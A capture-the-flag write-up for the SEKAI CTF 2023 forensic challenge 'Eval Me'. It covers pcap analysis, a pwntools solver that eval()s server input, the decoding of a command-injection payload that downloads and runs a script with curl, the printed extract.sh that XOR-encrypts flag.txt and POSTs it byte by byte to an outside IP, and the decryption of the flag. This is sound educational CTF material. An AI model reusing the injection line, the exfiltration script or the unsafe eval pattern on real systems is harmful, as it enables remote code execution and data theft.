Project SEKAI CTF 2023 - Eval Me
Description
Category: Forensic
I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?
Author: Guesslemonger
nc chals.sekai.team 9000
Resolution
1. Network capture analysis
When we quickly browse the capture with Wireshark, we notice there are some suspicious HTTP POST requests which seems to exfiltrate data:
We write a Python script to extract all the exfiltrated data:
1
2
3
4
5
6
7
8
9
10
11
12
13
import pyshark
cap = pyshark.FileCapture("/home/michel/Desktop/capture.pcapng")
data = ""
for c in cap:
try:
data += c.json.value_string
except AttributeError:
pass
print(data) # 20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f
We got a hex string but we have no information about how to decrypt it.
2. Pwntools challenge
In the description of the challenge, they talk about a pwntools challenge:
1
2
3
4
5
6
7
8
$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)
6 / 9
Too slow
The goal is to eval those expression and send the answer before the time runs out. I decided to solve it since I had no clue about what I need to do to decrypt the hex string.
Here is my code to solve it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
conn = remote("chals.sekai.team", 9000)
# Skip beginning
for _ in range(4):
print(conn.recvuntil(b"\n"))
# Solving
for _ in range(100):
prompt = conn.recvuntil(b"\n")
print(prompt)
res = eval(prompt)
conn.sendline(str(res).encode())
print(conn.recvline())
print(conn.recvline())
However, when I ran the code, there was a weird expression I needed to evaluate:
1
b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r#1 + 2\n'
The challenge did a command injection which downloads and executes a script called extract.sh
.
3. Decrypt the exfiltrated data
When we navigate to the link which redirects us to https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png
which shows us a broken PNG image.
The owner of the script seems to disguise the script with a PNG image.
We download it and save it as extract.sh
and here is the content of the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
XOREncrypt $KEY $FLAG
exit 0
The script reads flag.txt
, encrypts it with the key s3k@1_v3ry_w0w
and exfiltrates it to a server with POST requests.
We already have the exfiltrated data and now we just need to find out how to decrypt it.
Luckily there is a credit link to the original script (https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
) which has the decrypt function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
XORDecrypt() {
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
local ptrs
ptrs=0
for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do
val1="$( HexToDec "${DataIn:$ptrs:2}" )"
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
ptrs=$((ptrs+2))
DataOut+=$( printf \\$(printf "%o" "$val3") )
done
printf '%s' "$DataOut"
}
We can now decrypt the exfiltrated data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
Asc() { printf '%d' "'$1"; }
HexToDec() { printf '%d' "0x$1"; }
XORDecrypt() {
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
local ptrs
ptrs=0
for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do
val1="$( HexToDec "${DataIn:$ptrs:2}" )"
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
ptrs=$((ptrs+2))
DataOut+=$( printf \\$(printf "%o" "$val3") )
done
printf '%s' "$DataOut"
}
XORDecrypt "s3k@1_v3ry_w0w" "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f"
which gives us the flag: SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}
.